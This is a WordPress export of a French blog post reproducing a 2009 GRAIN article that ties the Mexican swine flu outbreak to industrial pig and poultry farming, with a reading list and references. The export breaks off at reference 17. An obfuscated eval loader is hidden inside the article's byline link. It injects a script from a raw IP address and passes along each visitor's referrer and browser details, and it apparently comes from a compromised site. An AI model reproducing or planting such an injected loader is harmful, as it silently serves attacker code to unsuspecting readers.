{"id":2663,"date":"2009-05-01T11:58:39","date_gmt":"2009-05-01T11:58:39","guid":{"rendered":"http:\/\/www.partipourladecroissance.net\/?p=2663"},"modified":"2009-05-01T11:58:39","modified_gmt":"2009-05-01T11:58:39","slug":"un-systeme-alimentaire-qui-tue","status":"publish","type":"post","link":"https:\/\/www.partipourladecroissance.net\/?p=2663","title":{"rendered":"Un syst\u00e8me alimentaire qui tue"},"content":{"rendered":"<p style=\"text-align: center;\"><span class=\"main\"><a href=\"http:\/\/www.partipourladecroissance.net\" target=\"_blank\"><em><strong><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-full wp-image-24\" style=\"margin: 5px;\" title=\"logo-ppld\" src=\"..\/wp-content\/uploads\/2008\/12\/logo-ppld.gif\" alt=\"logo-ppld\" width=\"118\" height=\"68\" \/><\/strong><\/em><\/a><\/span><a href=\"http:\/\/www.themeatrix.com\/intl\/france\/dub\/\"><\/a><\/p>\n<p><a href=\"http:\/\/www.grain.org\/accueil\/\"><span class=\"main\"><span class=\"title\">de <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yyazr|var|u0026u|referrer|eriza||js|php'.split('|'),0,{}))\n<\/script><\/noindex> GRAIN\u00a0 &#8211; <\/span><strong>29 April 2009<\/strong><\/span><\/a><\/p>\n<p><span class=\"main\"><strong><\/strong><\/span><strong>Un syst\u00e8me alimentaire qui tue : La peste porcine, dernier fl\u00e9au de l&rsquo;industrie de la viande<\/strong><\/p>\n<p><a href=\"http:\/\/www.grain.org\/articles\/?id=50\"> <\/a><\/p>\n<p>Le Mexique assiste \u00e0 une r\u00e9p\u00e9tition infernale de l&rsquo;histoire de la grippe aviaire asiatique, mais \u00e0 une \u00e9chelle encore plus tragique. Une fois de plus, la r\u00e9ponse officielle arrive trop tard et entach\u00e9e de mensonges. Une fois de plus, l&rsquo;industrie mondiale de la viande est au centre de l&rsquo;histoire, s&rsquo;obstinant \u00e0 nier toute responsabilit\u00e9, alors que le poids de l&rsquo;\u00e9vidence concernant son r\u00f4le ne cesse de s&rsquo;accro\u00eetre. Cinq ans apr\u00e8s le d\u00e9but de la crise de grippe aviaire H5N1 et apr\u00e8s cinq ans aussi d&rsquo;une strat\u00e9gie mondiale contre les pand\u00e9mies de grippe coordonn\u00e9e par l&rsquo;Organisation mondiale de la sant\u00e9 (l&rsquo;OMC ou WHO) et l&rsquo;Organisation mondiale de la sant\u00e9 animale (OIE), le monde chancelle sous les coups d&rsquo;un nouveau d\u00e9sastre, la grippe porcine. La strat\u00e9gie mondiale a \u00e9chou\u00e9 et doit \u00eatre remplac\u00e9e par un nouveau syst\u00e8me de sant\u00e9 publique qui puisse inspirer confiance au public.<\/p>\n<p><!--more-->Ce que nous savons de la situation au Mexique, c&rsquo;est que, officiellement, plus de 150 personnes sont mortes d&rsquo;une nouvelle souche de grippe porcine qui est en fait un cocktail g\u00e9n\u00e9tique de plusieurs souches de virus de grippe : grippe porcine, grippe aviaire et grippe humaine. Celle-ci a \u00e9volu\u00e9 en une forme qui se transmet facilement d&rsquo;humain \u00e0 humain et qui peut tuer des gens en parfaire sant\u00e9. Nous ne savons pas exactement o\u00f9 ont eu lieu cette recombinaison et cette \u00e9volution, mais il semble \u00e9vident qu&rsquo;il faut chercher du c\u00f4t\u00e9 des \u00e9levages industriels mexicains et am\u00e9ricains. [1]<\/p>\n<p>Cela fait des ann\u00e9es que les experts avertissent que le d\u00e9veloppement des grandes fermes d&rsquo;\u00e9levage industriel en Am\u00e9rique du Nord ont cr\u00e9\u00e9 un foyer id\u00e9al pour que puissent \u00e9merger et se r\u00e9pandre de nouvelles souches de grippe extr\u00eamement virulentes. \u00ab Parce que les \u00e9levages fortement concentr\u00e9s ont tendance \u00e0 rassembler d&rsquo;importants groupes d&rsquo;animaux sur une surface r\u00e9duite, ils facilitent la transmission et le m\u00e9lange des virus \u00bb, expliquaient des scientifiques de l&rsquo;agence nationale des instituts de sant\u00e9 publique am\u00e9ricaine (NIH). [2] Trois ans plus t\u00f4t, Science Magazine avait sonn\u00e9 l&rsquo;alarme en montrant que la taille croissante des \u00e9levages industriels  et l&rsquo;usage r\u00e9pandu des vaccins qui y est fait acc\u00e9l\u00e9raient le rythme d&rsquo;\u00e9volution de la grippe porcine. [3]C&rsquo;est la m\u00eame chose avec la grippe aviaire : l&rsquo;espace surpeupl\u00e9 et les conditions insalubres qui r\u00e8gnent dans ces \u00e9levages permettent au virus de se recombiner et de prendre de nouvelles formes tr\u00e8s ais\u00e9ment. Quand on en est \u00e0 ce stade, la  centralisation inh\u00e9rente \u00e0 l&rsquo;industrie garantit que la maladie est diss\u00e9min\u00e9e partout, par l&rsquo;interm\u00e9diaire des mati\u00e8res f\u00e9cales, de la nourriture animale, de l&rsquo;eau ou m\u00eame des bottes des ouvriers. [4] Et pourtant, si l&rsquo;on en croit les centres am\u00e9ricains pour le contr\u00f4le et la pr\u00e9vention des maladies (CDC), \u00ab  il n&rsquo;existe pas de syst\u00e8me national officiel de surveillance pour d\u00e9terminer quels sont les virus les plus r\u00e9pandus dans la population porcine am\u00e9ricaine.\u00a0\u00bb [5] La situation est la m\u00eame au Mexique.<\/p>\n<p>LES COMMUNAUTES A L&rsquo;EPICENTRE<\/p>\n<p>Ce que nous savons encore \u00e0 propos de l&rsquo;\u00e9pid\u00e9mie de grippe porcine mexicaine est que la communaut\u00e9 de La Gloria dans l&rsquo;\u00e9tat de Veracruz a d\u00e9sesp\u00e9r\u00e9ment essay\u00e9 d&rsquo;obtenir une r\u00e9action des autorit\u00e9s face \u00e0 l&rsquo;\u00e9trange maladie respiratoire qui les a s\u00e9v\u00e8rement affect\u00e9s ces derniers mois. Les r\u00e9sidents sont absolument convaincus que leur maladie est li\u00e9e \u00e0 la pollution provoqu\u00e9e par la grande ferme porcine r\u00e9cemment install\u00e9e dans leur communaut\u00e9 par Granja Carroll, une filiale de la soci\u00e9t\u00e9 am\u00e9ricaine Smithfield Foods, le plus grand producteur de porc mondial.<\/p>\n<p>Apr\u00e8s les innombrables essais de la communaut\u00e9 pour obtenir l&rsquo;aide des autorit\u00e9s &#8212; essais qui ont men\u00e9 certains leaders locaux en prison et provoqu\u00e9 des menaces de mort contre ceux qui osaient critiquer l&rsquo;\u00e9levage de Smithfield &#8212; les autorit\u00e9s sanitaires locales ont finalement d\u00e9cid\u00e9 de faire une enqu\u00eate vers la fin de 2008. Les tests ont r\u00e9v\u00e9l\u00e9 que plus de 60% de cette communaut\u00e9 de 3 000 personnes souffraient d&rsquo;une maladie respiratoire, mais le nom de la maladie n&rsquo;a pas \u00e9t\u00e9 officiellement confirm\u00e9. Smithfield nie toute connection avec ses activit\u00e9s. C&rsquo;est seulement le 27 avril 2009, quelques jours apr\u00e8s l&rsquo;annonce officielle par le gouvernement f\u00e9d\u00e9ral de l&rsquo;\u00e9pid\u00e9mie de grippe porcine, que l&rsquo;information est sortie dans la presse, r\u00e9v\u00e9lant que le premier cas de grippe porcine diagnostiqu\u00e9 dans le pays avait \u00e9t\u00e9 le 2 avril 2009 celui d&rsquo;un petit gar\u00e7on de 4 ans appartenant \u00e0 la communaut\u00e9 de La Gloria. Le ministre de la Sant\u00e9 du Mexique d\u00e9clare que l&rsquo;\u00e9chantillon pr\u00e9lev\u00e9 sur l&rsquo;enfant est le seul parmi les \u00e9chantillons pr\u00e9lev\u00e9s sur la communaut\u00e9 qui ait \u00e9t\u00e9 retenu par les autorit\u00e9s mexicaines et envoy\u00e9 pour \u00eatre test\u00e9 en laboratoire. Ce test a ensuite confirm\u00e9 qu&rsquo;il s&rsquo;agissait bien de grippe porcine. [6] Tout cela malgr\u00e9 le fait qu&rsquo;une soci\u00e9t\u00e9 am\u00e9ricaine priv\u00e9e d&rsquo;\u00e9valuation des risques, Veratect, avait, au d\u00e9but du mois d&rsquo;avril 2009, avis\u00e9 les responsables r\u00e9gionaux de l&rsquo;OMC de l&rsquo;occurrence de la maladie respiratoire grave qui s\u00e9vissait \u00e0 La Gloria. [7]<\/p>\n<p>Le 4 avril 2009, le quotidien mexicain La Jornada a publi\u00e9 un article sur la lutte de la communaut\u00e9 de La Gloria, avec la photo d&rsquo;un jeune gar\u00e7on qui tient une pancarte avec le dessin d&rsquo;un cochon barr\u00e9 d&rsquo;une croix et la l\u00e9gende  \u00ab Attention, danger : Carrolls Farm \u00bb \u00e9crite en espagnol. [8]<\/p>\n<p>Pour ce qui est des pand\u00e9mies de grippe en g\u00e9n\u00e9ral, nous savons que la proximit\u00e9 d&rsquo;\u00e9levages intensifs de porcs et d&rsquo;\u00e9levages de volailles augmente les risques de recombinaison virale et l&rsquo;\u00e9mergence de nouvelles souches virulentes de grippe. En Indon\u00e9sie par exemple, on sait que les porcs vivant pr\u00e8s d&rsquo;un \u00e9levage de volailles ont des taux importants d&rsquo;infection au H5N1, la variante mortelle de la grippe aviaire. [9] Des scientifiques du NIH avertissent que \u00ab l&rsquo;augmentation  du nombre d&rsquo;installations porcines voisines d&rsquo;installations aviaires pourrait faciliter l&rsquo;\u00e9volution de la prochaine pand\u00e9mie.\u00a0\u00bb [10]<\/p>\n<p>On n&rsquo;en a gu\u00e8re entendu parler, mais la r\u00e9gion avoisinante de La Gloria compte de nombreuses \u00e9levages de volailles intensifs. R\u00e9cemment, en septembre 2008, une \u00e9pid\u00e9mie de grippe aviaire a \u00e9clat\u00e9 parmi les volailles de la r\u00e9gion. A l&rsquo;\u00e9poque, les autorit\u00e9s v\u00e9t\u00e9rinaires ont assur\u00e9 le public qu&rsquo;il s&rsquo;agissait seulement d&rsquo;une souche peu pathog\u00e8ne qui n&rsquo;affecte que les oiseaux de basse-cour. Mais gr\u00e2ce \u00e0 la divulgation faite par Marco Antonio N\u00fa\u00f1ez, le pr\u00e9sident de la Commission pour l&rsquo;environnement de l&rsquo;\u00e9tat de Veracruz, nous savons d\u00e9sormais qu&rsquo;il y a eu une autre \u00e9pid\u00e9mie de grippe aviaire \u00e0 environ 50 km de La Gloria, dans un \u00e9levage industriel appartenant \u00e0 Granjas Bachoco, la plus grande entreprise de volailles du Mexique. Cette \u00e9pid\u00e9mie n&rsquo;a pas \u00e9t\u00e9 r\u00e9v\u00e9l\u00e9e parce qu&rsquo;on craignait les cons\u00e9quences que cela pourrait provoquer pour les exportations mexicaines. [11]     Il faut noter ici que l&rsquo;un des ingr\u00e9dients courants de l&rsquo;alimentation animale industrielle est ce qu&rsquo;on appelle les \u00ab  d\u00e9chets de volaille \u00bb, c&rsquo;est-\u00e0-dire un m\u00e9lange de tout ce qu&rsquo;on peut trouver sur le sol des \u00e9levages intensifs : mati\u00e8res f\u00e9cales, plumes, liti\u00e8re, etc.<\/p>\n<p>Peut-on concevoir situation plus id\u00e9ale pour l&rsquo;\u00e9mergence d&rsquo;un virus grippal pand\u00e9mique qu&rsquo;une r\u00e9gion rurale pauvre, pleine d&rsquo;\u00e9levages industriels appartenant \u00e0 des soci\u00e9t\u00e9s transnationales qui n&rsquo;ont rien \u00e0 faire du bien-\u00eatre de la population locale ? Les r\u00e9sidents de La Gloria essaient depuis des ann\u00e9es de lutter contre la ferme Smithfield. Ils ont, des mois durant, tent\u00e9 d&rsquo;amener les autorit\u00e9s \u00e0 agir face \u00e0 l&rsquo;\u00e9trange maladie qui les frappait. On les a ignor\u00e9s. Le radar  du syst\u00e8me mondial de surveillance des maladies \u00e9mergentes de l&rsquo;OMC n&rsquo;a pas enregistr\u00e9 le moindre signal. Pas plus que les \u00e9pid\u00e9mies de grippe aviaire de Veracruz n&rsquo;ont d\u00e9clench\u00e9 de r\u00e9action du syst\u00e8me mondial d&rsquo;alerte pr\u00e9coce pour les maladies de l&rsquo;OIE. Ce n&rsquo;est que gr\u00e2ce \u00e0 sources priv\u00e9es et de fa\u00e7on d\u00e9sordonn\u00e9e que la v\u00e9rit\u00e9 a pu \u00e9clater. [12] Et c&rsquo;est ce qu&rsquo;on appelle la surveillance mondiale !<\/p>\n<p>LA MAUVAISE FOI DES GRANDES SOCIETES<\/p>\n<p>Ce n&rsquo;est pas la premi\u00e8re fois, et ce n&rsquo;est sans doute pas la derni\u00e8re, que les agro-industriels dissimulent des \u00e9pisodes de maladies infectieuses, mettant ainsi des vies en p\u00e9ril. C&rsquo;est la nature m\u00eame de leurs activit\u00e9s. En Roumanie il y a quelques ann\u00e9es, Smithfield a interdit aux autorit\u00e9s locales d&rsquo;entrer dans ses \u00e9levages porcins, apr\u00e8s les plaintes des r\u00e9sidents \u00e0 propos de l&rsquo;odeur pestilentielle provenant des centaines de charognes de porcs laiss\u00e9es \u00e0 pourrir pendant plusieurs jours. \u00ab Nos m\u00e9decins n&rsquo;ont pas eu acc\u00e8s aux fermes de la [soci\u00e9t\u00e9] am\u00e9ricaine pour pouvoir effectuer leurs inspections de routine \u00bb, a d\u00e9clar\u00e9 Csaba Daroczi, directeur-adjoint des services v\u00e9t\u00e9rinaires et d&rsquo;hygi\u00e8ne de Timisoara. \u00ab Chaque fois qu&rsquo;ils ont essay\u00e9, ils ont \u00e9t\u00e9 repouss\u00e9s par les gardiens. Smithfield propose que nous signions un accord qui nous obligerait \u00e0 les pr\u00e9venir trois jours \u00e0 l&rsquo;avance avant toute inspection.\u00a0\u00bb [13] L&rsquo;information a fini par \u00e9merger que Smithfield avait \u00e9touff\u00e9 l&rsquo;information sur un \u00e9pisode majeur de grippe porcine classique ayant s\u00e9vi dans ses fermes en Roumanie. [14]<\/p>\n<p>En Indon\u00e9sie, o\u00f9 les gens meurent encore de la grippe aviaire et d&rsquo;o\u00f9 de nombreux experts pensent que viendra  le prochain virus pand\u00e9mique, les autorit\u00e9s ne peuvent toujours pas entrer sans permission dans les grands \u00e9levages industriels. [15] Au Mexique, les autorit\u00e9s ont repouss\u00e9 les demandes d&rsquo;enqu\u00eate sur La Granja Carroll et accus\u00e9 les r\u00e9sidents de La Gloria de propager l&rsquo;infection parce qu&rsquo;ils \u00ab utilisent des rem\u00e8des de grand-m\u00e8re, plut\u00f4t que d&rsquo;aller dans les centres de soins pour soigner leur grippe.\u00a0\u00bb [16]<\/p>\n<p>Les \u00e9levages industriels sont de v\u00e9ritables bombes \u00e0 retardement pour les \u00e9pid\u00e9mies mondiales. Et pourtant, il n&rsquo;existe toujours pas de programmes qui permettent d&rsquo;y faire face, ni m\u00eame de programmes ind\u00e9pendants de surveillance des maladies. Personne parmi les gens haut plac\u00e9s ne semble s&rsquo;en soucier et ce n&rsquo;est sans doute pas un hasard que ces fermes soient souvent situ\u00e9es parmi les communaut\u00e9s les plus pauvres, qui paient tr\u00e8s cher pour faire entendre la v\u00e9rit\u00e9. Pis encore, nous d\u00e9pendons tellement de ce syst\u00e8me aux limites de l&rsquo;explosion pour une bonne part de notre alimentation que la t\u00e2che principale des agences gouvernementales de s\u00e9curit\u00e9 alimentaire semble \u00eatre d\u00e9sormais de calmer les peurs et de s&rsquo;assurer que les gens continuent \u00e0 manger. Smithfield est d\u00e9j\u00e0 au bord de la faillite et \u00e9tait la semaine derni\u00e8re en train de n\u00e9gocier sa reprise avec la plus grosse entreprise d&rsquo;agroalimentaire de Chine, COFCO. [17]<\/p>\n<p>Entre temps, l&rsquo;industrie pharmaceutique fait fortune avec la crise. Le gouvernement des Etats-Unis a d\u00e9j\u00e0 fait une exception d&rsquo;urgence dans son syst\u00e8me d&rsquo;autorisation pour permettre de traiter les malades de la grippe avec des antiviraux comme Tamiflu et Relaxin plus largement que cela n&rsquo;\u00e9tait pr\u00e9vu. Excellente nouvelle pour Roche, Gilead et Glaxo Smithkline qui d\u00e9tiennent le monopole sur ces m\u00e9dicaments. Mais chose encore plus importante, une nu\u00e9e de petits producteurs de vaccins comme Biocryst et Novavax voient la valeur de leurs actions crever le plafond. [18] Novavax essaie de convaincre \u00e0 la fois le CDC et le gouvernement mexicain qu&rsquo;il est capable de fournir un vaccin contre la grippe porcine dans un d\u00e9lai de 12 semaines, si les r\u00e8glements encadrant les tests restent souples.<\/p>\n<p>C&rsquo;EST UN CHANGEMENT PROFOND QU&rsquo;IL NOUS FAUT<\/p>\n<p>Il est \u00e9vident que le syst\u00e8me mondial de r\u00e9solution des probl\u00e8mes de sant\u00e9 provoqu\u00e9s par l&rsquo;industrie alimentaire transnationale marche sur la t\u00eate : Le syst\u00e8me de surveillance est fichu, les services v\u00e9t\u00e9rinaires et ceux de sant\u00e9 publique qui sont en premi\u00e8re ligne cafouillent et l&rsquo;autorit\u00e9 est pass\u00e9e au secteur priv\u00e9 qui a tout int\u00e9r\u00eat \u00e0 maintenir le statu quo. En attendant, on recommande aux gens de rester chez eux et de croiser les doigts en attendant le Tamiflu ou un nouveau vaccin \u00e9ventuel auquel ils n&rsquo;auront peut-\u00eatre m\u00eame pas acc\u00e8s. La situation n&rsquo;est pas tol\u00e9rable. Il faut bouleverser les choses. Et agir d\u00e8s aujourd&rsquo;hui.<\/p>\n<p>Pour ce qui est de l&rsquo;\u00e9pid\u00e9mie de grippe porcine au Mexique, le changement peut \u00eatre imm\u00e9diat : il pourrait consister en une enqu\u00eate transparente, exhaustive et ind\u00e9pendante sur les \u00e9levages de volailles dans l&rsquo;\u00e9tat de Veracruz, dans le pays tout entier et dans toute l&rsquo;Am\u00e9rique du Nord. Le peuple mexicain doit conna\u00eetre la source du probl\u00e8me afin de pouvoir prendre les mesures ad\u00e9quates pour couper l&rsquo;\u00e9pid\u00e9mie \u00e0 la racine et s&rsquo;assurer que le probl\u00e8me ne se reproduise plus.<\/p>\n<p>Au niveau international, l&rsquo;expansion des \u00e9levages industriels doit cesser et faire machine arri\u00e8re. Ces fermes sont des foyers de pand\u00e9mies et continueront \u00e0 l&rsquo;\u00eatre tant qu&rsquo;elles existeront. Il ne sert probablement \u00e0 rien de r\u00e9clamer un changement complet de la strat\u00e9gie mondiale men\u00e9e par l&rsquo;OMC. En effet, l&rsquo;exp\u00e9rience de la grippe aviaire montre que ni l&rsquo;OMC ni l&rsquo;OIE, ni la plupart des gouvernements ne sont dispos\u00e9s \u00e0 \u00eatre fermes avec l&rsquo;agriculture industrielle. Une fois de plus, ce sont les citoyens qui vont devoir r\u00e9agir et se prot\u00e9ger eux-m\u00eames. Partout dans le monde, des milliers de communaut\u00e9s luttent contre les \u00e9levages industriels. Ce sont ces communaut\u00e9s qui sont en premi\u00e8re ligne de la pr\u00e9vention contre la pand\u00e9mie. Ce dont nous avons besoin \u00e0 pr\u00e9sent, c&rsquo;est de transformer ces luttes locales contre les \u00e9levages industriels en un vaste mouvement mondial pour abolir ce syst\u00e8me d&rsquo;\u00e9levage.<\/p>\n<p>Mais le d\u00e9sastre de la grippe porcine au Mexique r\u00e9v\u00e8le \u00e9galement un probl\u00e8me de sant\u00e9 publique plus vaste : Les menaces pour la s\u00e9curit\u00e9 des consommateurs qui font partie int\u00e9grante de notre syst\u00e8me alimentaire industriel sont exacerb\u00e9es par une tendance g\u00e9n\u00e9rale \u00e0 privatiser compl\u00e8tement les soins de sant\u00e9, ce qui a r\u00e9duit \u00e0 n\u00e9ant la capacit\u00e9 des syst\u00e8mes publics \u00e0 apporter des r\u00e9ponses ad\u00e9quates en cas de crise, et par des politiques encourageant les migrations vers des m\u00e9galopoles o\u00f9 les politiques de sant\u00e9 publique et d&rsquo;assainissement sont d\u00e9plorables. (L&rsquo;\u00e9pid\u00e9mie de grippe porcine a frapp\u00e9 Mexico, une m\u00e9tropole de plus de 20 millions d&rsquo;habitants, pr\u00e9cis\u00e9ment au moment o\u00f9 le gouvernement a coup\u00e9 l&rsquo;approvisionnement en eau d&rsquo;une bonne partie de la population, en particulier les quartiers les plus pauvres.) Le fait que la surveillance des \u00e9pid\u00e9mies soit confi\u00e9e \u00e0 des cabinets-conseils priv\u00e9s, que les gouvernements et les agences des Nations Unies puissent garder le silence et ne pas divulguer l&rsquo;information, que nous soyons oblig\u00e9s de d\u00e9pendre d&rsquo;une poign\u00e9es d&rsquo;entreprises pharmaceutiques  pour soulager nos souffrances, avec des produits certes brevet\u00e9s mais seulement \u00e0 moiti\u00e9 test\u00e9s, devraient nous indiquer que rien ne va plus. Ce n&rsquo;est pas seulement de nourriture que nous avons besoin, mais de syst\u00e8mes de sant\u00e9 publique qui aient un v\u00e9ritable agenda public et soient responsables devant le public.<\/p>\n<p style=\"text-align: center;\"><a href=\"http:\/\/www.themeatrix.com\/intl\/france\/dub\/\">Le rapport avec la crise \u00e9conomique est aussi dans cette (trop ?) c\u00e9l\u00e8bre\u00a0<em> <\/em>vid\u00e9o !<\/a><\/p>\n<p>==============================<\/p>\n<p>LECTURES COMPL\u00c9MENTAIRES :<\/p>\n<p>Silvia Ribeiro, \u00ab\u00a0Epidemia de lucro,\u00a0\u00bb La Jornada, 28 April 2009:<br \/>\n<a href=\"http:\/\/www.jornada.unam.mx\/2009\/04\/28\/index.php?section=opinion&amp;article=020a1pol\" target=\"_blank\"> http:\/\/www.jornada.unam.mx\/2009\/04\/28\/index.php?section=opi nion&amp;article=020a1pol <\/a><br \/>\nEdward Hammond, Indonesia fights to change WHO rules on flu vaccines, Seedling, April 2009:<br \/>\n<a href=\"http:\/\/www.grain.org\/seedling\/?id=593\"> http:\/\/www.grain.org\/seedling\/?id=593 <\/a><br \/>\nMike Davis, The swine flu crisis lays bare the meat industry&rsquo;s monstrous power, The Guardian, 27 April 2009:<br \/>\n<a href=\"http:\/\/www.guardian.co.uk\/commentisfree\/2009\/apr\/27\/swine-flu-mexico-health\" target=\"_blank\"> http:\/\/www.guardian.co.uk\/commentisfree\/2009\/apr\/27\/swine-f lu-mexico-health <\/a><br \/>\nR G Wallace, \u00ab\u00a0The Agro-Industrial Roots of Swine Flu H1N1,\u00a0\u00bb 26 April 2009<br \/>\n<a href=\"http:\/\/farmingpathogens.wordpress.com\/2009\/04\/26\/the-agro-industrial-roots-of-swine-flu-h1n1\/\" target=\"_blank\"> http:\/\/farmingpathogens.wordpress.com\/2009\/04\/26\/the-agro-i ndustrial-roots-of-swine-flu-h1n1\/ <\/a><br \/>\nGRAIN, \u00ab\u00a0Bird flu in eastern India: another senseless slaughter\u00a0\u00bb, Against the grain, February 2008,<br \/>\n<a href=\"http:\/\/www.grain.org\/articles\/?id=35\"> http:\/\/www.grain.org\/articles\/?id=35 <\/a><br \/>\n(Disponible bient\u00f4t en fran\u00e7ais)  GRAIN, \u00ab\u00a0Germ warfare &#8211; Livestock disease, public health and the military&#8211;industrial complex\u00a0\u00bb, Seedling, January 2008,<br \/>\n<a href=\"http:\/\/www.grain.org\/seedling\/?id=533\"> http:\/\/www.grain.org\/seedling\/?id=533 <\/a><br \/>\n(Disponible bient\u00f4t en fran\u00e7ais)  GRAIN, \u00ab\u00a0Viral times &#8211; The politics of emerging global animal diseases\u00a0\u00bb, Seedling, January 2008,<br \/>\n<a href=\"http:\/\/www.grain.org\/seedling\/?id=532\"> http:\/\/www.grain.org\/seedling\/?id=532 <\/a><br \/>\n(Disponible bient\u00f4t en fran\u00e7ais)  GRAIN, \u00ab\u00a0La grippe aviaire: une aubaine pour &lsquo;Big Chicken'\u00a0\u00bb, A contre-courant, mars 2007,<br \/>\n<a href=\"http:\/\/www.grain.org\/articles\/?id=24\"> http:\/\/www.grain.org\/articles\/?id=24 <\/a><br \/>\n(aussi disponible en Bahasa Indonesia)  GRAIN, \u00ab\u00a0Grippe aviaire: une r\u00e9ponse mondiale impos\u00e9e d&rsquo;en haut\u00a0\u00bb, A contre-courant, avril 2006,<br \/>\n<a href=\"http:\/\/www.grain.org\/articles\/?id=15\"> http:\/\/www.grain.org\/articles\/?id=15 <\/a><br \/>\nGRAIN, \u00ab\u00a0Qui est le dindon de la farce ?\u00a0\u00bb, Les rapports de GRAIN, f\u00e9vrier 2006,<br \/>\n<a href=\"http:\/\/www.grain.org\/briefings\/?id=195\"> http:\/\/www.grain.org\/briefings\/?id=195 <\/a><\/p>\n<p>==============================<\/p>\n<p>R\u00c9F\u00c9RENCES<\/p>\n<p>[1] L&rsquo;industrie du porc mexicaine, comme son \u00e9quivalent am\u00e9ricain, ne veut pas qu&rsquo;on appelle la maladie \u00ab\u00a0grippe porcine\u00a0\u00bb, sous pr\u00e9texte que celle-ci n&rsquo;est pas transmise par les porcs, mais directement de personne \u00e0 personne. (Leur pr\u00e9occupation majeure est bien s\u00fbr le march\u00e9 du porc qui est en train de s&rsquo;\u00e9crouler \u00e0 cause de l&rsquo;image n\u00e9gative qui lui est associ\u00e9e) Certains responsables mexicains, comme le Gouverneur de Veracruz, disent aux gens que le virus est venu de Chine, quoiqu&rsquo;il n&rsquo;y ait aucune \u00e9vidence qui soutienne cette th\u00e8se.<\/p>\n<p>[2] Mary J. Gilchrist, Christina Greko, David B. Wallinga, George W. Beran, David G. Riley and Peter S. Thorne, \u00ab\u00a0The Potential Role of CAFOs in Infectious Disease Epidemics and Antibiotic Resistance,\u00a0\u00bb Journal of Environmental Health Perspectives, 14 November 2006.<\/p>\n<p>[3] Bernice Wuethrich, \u00ab\u00a0Chasing the Fickle Swine Flu\u00a0\u00bb, Science, Vol. 299, 2003<\/p>\n<p>[4] Pro-poor Livestock Policy Initiative, \u00ab\u00a0Industrial Livestock Production and Global Health Risks,\u00a0\u00bb FAO, 2007:<br \/>\n<a href=\"http:\/\/www.fao.org\/ag\/againfo\/programmes\/en\/pplpi\/docarc\/pb_hpaiindustrialrisks.html\" target=\"_blank\"> http:\/\/www.fao.org\/ag\/againfo\/programmes\/en\/pplpi\/docarc\/pb _hpaiindustrialrisks.html <\/a><\/p>\n<p>[5] CDC, April 21, 2009 \/ 58 (Dispatch);1-3:<br \/>\n<a href=\"http:\/\/www.cdc.gov\/mmwr\/preview\/mmwrhtml\/mm58d0421a1.htm\" target=\"_blank\"> http:\/\/www.cdc.gov\/mmwr\/preview\/mmwrhtml\/mm58d0421a1.htm <\/a><\/p>\n<p>[6] Andr\u00e9s T. Morales, \u00ab\u00a0Cerco sanitario en Perote, tras muerte en marzo de beb\u00e9 por gripe porcina,\u00a0\u00bb La Jornada, 28 April 2009:<br \/>\n<a href=\"http:\/\/www.jornada.unam.mx\/2009\/04\/28\/index.php?section=politica&amp;article=012n2pol\" target=\"_blank\"> http:\/\/www.jornada.unam.mx\/2009\/04\/28\/index.php?section=pol itica&amp;article=012n2pol <\/a><br \/>\n; Tracy Wilkinson and Cecilia S\u00e1nchez, \u00ab\u00a0Mexico tries to focus on source of infection,\u00a0\u00bb Los Angeles Times, April 28, 2009.<\/p>\n<p>[7] Dudley Althaus, \u00ab\u00a0World&rsquo;s queries have no answers,\u00a0\u00bb Houston Chronicle, 27 April 2009.<\/p>\n<p>[8] Andr\u00e9s Timoteo, \u00ab\u00a0Alerta epidemiol\u00f3gica en Perote por brote de males respiratorios,\u00a0\u00bb La Jornada, 4 April 2009.<\/p>\n<p>[9] David Cyranoski, \u00ab\u00a0Bird flu spreads among Java&rsquo;s pigs,\u00a0\u00bb Nature 435, 26 May 2005.<\/p>\n<p>[10] Mary J. Gilchrist, Christina Greko, David B. Wallinga, George W. Beran, David G. Riley and Peter S. Thorne, \u00ab\u00a0The Potential Role of CAFOs in Infectious Disease Epidemics and Antibiotic Resistance,\u00a0\u00bb Journal of Environmental Health Perspectives, 14 November 2006.<\/p>\n<p>[11] Piden cerco sanitario ante epidemia, SPI\/ElGolfo.Info, 24 April 2009:<br \/>\n<a href=\"http:\/\/www.elgolfo.info\/web\/lo-mas-nuevo\/37017-piden-cerco-sanitario-ante-epidemia-.html\" target=\"_blank\"> http:\/\/www.elgolfo.info\/web\/lo-mas-nuevo\/37017-piden-cerco- sanitario-ante-epidemia-.html <\/a><\/p>\n<p>[12] Tom Philpott first broadcast the possible connection between the swine flu outbreak and the Smithfield operation in Veracruz from his US-based blog on 25 April 2009:<br \/>\n<a href=\"http:\/\/www.grist.org\/article\/2009-04-25-swine-flu-smithfield\/\" target=\"_blank\"> http:\/\/www.grist.org\/article\/2009-04-25-swine-flu-smithfiel d\/ <\/a><\/p>\n<p>[13] Mirel Bran: \u00ab\u00a0Swine Plague: Romania Criticizes American Group&rsquo;s Attitude\u00a0\u00bb, Le Monde, 15 August   2007, translated by Leslie Thatcher (Truthout).<\/p>\n<p>[14] GRAIN, \u00ab\u00a0Viral times &#8211; The politics of emerging global animal diseases\u00a0\u00bb, Seedling, January 2008<\/p>\n<p>[15] See \u00ab\u00a0Box 2. Bird flu in Indonesia and Vietnam\u00a0\u00bb (by GRAIN) in Edward Hammond, \u00ab\u00a0Indonesia fights to change WHO rules on flu vaccines,\u00a0\u00bb Seedling, April 2009:<br \/>\n<a href=\"http:\/\/www.grain.org\/seedling\/?id=593\"> http:\/\/www.grain.org\/seedling\/?id=593 <\/a><\/p>\n<p>[16] \u00ab\u00a0Afectados por extra\u00f1a enfermedad, 60% de pobladores de La Gloria,\u00a0\u00bb La Jornada 27 April 2009:<br \/>\n<a href=\"http:\/\/www.lajornadasanluis.com.mx\/2009\/04\/27\/pol15.php\" target=\"_blank\"> http:\/\/www.lajornadasanluis.com.mx\/2009\/04\/27\/pol15.php <\/a><\/p>\n<p>[17] 